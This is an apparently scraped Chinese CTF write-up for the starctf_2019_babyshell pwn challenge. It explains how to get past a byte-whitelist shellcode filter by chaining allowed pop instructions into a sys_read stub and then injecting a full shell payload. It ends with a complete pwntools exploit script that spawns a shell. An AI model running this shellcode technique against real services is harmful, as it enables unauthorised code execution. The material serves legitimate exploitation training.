starctf_2019_babyshell
starctf_2019_babyshell
有时shellcode受限,最好的方法一般就是勉强的凑出sys read系统调用来注入shellcode主体。
我们拿starctf_2019_babyshell这道题来讲一讲,首先检查一下保护。

IDA分析

首先读入shellcode,然后检查shellcode是否合法,接着执行我们的shellcode.

这个是检查shellcode合法的函数,遍历shellcode的每个字符,在0x400987处找是否有匹配。
我们再来看看0x400987处的数据。

这里我数据强制转换成了代码,也就是说我们只要输入的shellcode在这里面出现就可以了。比如说我们可以使用pop rdx、 pop rdi、 syscall ,根据我之前说的这里shellcode受到了限制,所以我们尽力去构造sys_read 来注入我们自己的shellcode。
要调用sys_read我们要控制rax=0 rdi=0 rsi rdx

这里eax等于0了并且rsi指向buf(也就是我们第一次写的shellcode),我们只要控制rdi=0,rdx为一定大小的值就可以了。
我们把程序下断点到call rdx

观察栈的内容

pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall
shellcode怎么写都可以只要保证rdi为零,rdx为一个合适的值。
调用sys_read覆写我们的shellcode

'a'*0xC + asm(shellcraft.sh()
exp:
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p = process('./starctf_2019_babyshell')
#gdb.attach(p,'b *0x4008CB')
shellcode = asm('pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall')
p.sendlineafter(' plz:\n',shellcode)
sleep(1)
p.sendline('a'*0xC + asm(shellcraft.sh()))
p.interactive()
starctf_2019_babyshell的更多相关文章
- Buuctf刷题:部分
get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...
- [BUUCTF-Pwn]刷题记录1
[BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...
随机推荐
- JUC并发集合类CopyOnWriteList
CopyOnWriteList简介 ArrayList是线程不安全的,于是JDK新增加了一个线程并发安全的List--CopyOnWriteList,中心思想就是copy-on-write,简单来说是 ...
- Python学习笔记_有关tuple的几点强调
创建只有一个元素的tuple,需要用逗号结尾消除歧义 a_tuple = (2,) tuple中的list mixed_tuple = (1, 2, ['a', 'b']) print("m ...
- Jmeter的脚本参数化
一.变量 Jmeter中的变量用法:${变量名称} 变量定义:两种 1.用户定义变量 User Defined Variables 2.用户参数 User Parameters 1.1用户定义变量 ...
- LeetCode113. 路径总和 II
原题链接 1 class Solution: 2 def pathSum(self, root: TreeNode, sum: int) -> List[List[int]]: 3 ans,tm ...
- js浅拷贝(地址引用)和深拷贝(克隆)
浅拷贝和深拷贝相对于引用类型而言的. js有两大类型值类型(基本数据类型)和引用类型(object,function,array): 值类型保存在栈上,引用类型保存在堆上. 浅拷贝只是单纯的拷贝对象的 ...
- Java 语言基础 02
语言基础·二级 顺序结构语句 * A:什么是流程控制语句 * 流程控制语句:可以控制程序的执行流程. * B:流程控制语句的分类 * 顺序结构 * 选择结构 * 循环结构 * ...
- 初窥MyBatis-普通的CRUD操作
编写接口 编写对应的Mapper.xml中的sql语句 测试(增删改需要提交事务) <mapper namespace="com.perwrj.dao.UserMapper" ...
- C# 应用 - 多线程 7) 处理同步数据之 Synchronized code regions (同步代码区域): Monitor 和 lock
目录: System.Threading.Monitor:提供同步访问对象的机制; lock 是语法糖,是对 Monitor Enter 和 Exit 方法的一个封装 lock 案例 1. Monit ...
- RSA典型非对称加密算法
私钥加密-->公钥解密,反之亦然,但不安全.也可以当做数字签名. public class RSACoder { //非对称加密算法 public static ...
- 对Java异常的理解
JAVA小白手写总结 提示:本篇简单列举了一些Java中的异常与异常处理 前言 提示:很多小伙伴们都会问到,什么是异常呢,又该怎么解决呢? 下面我们就从下面的一个案例中切入今天的内容. 提示:以下是本 ...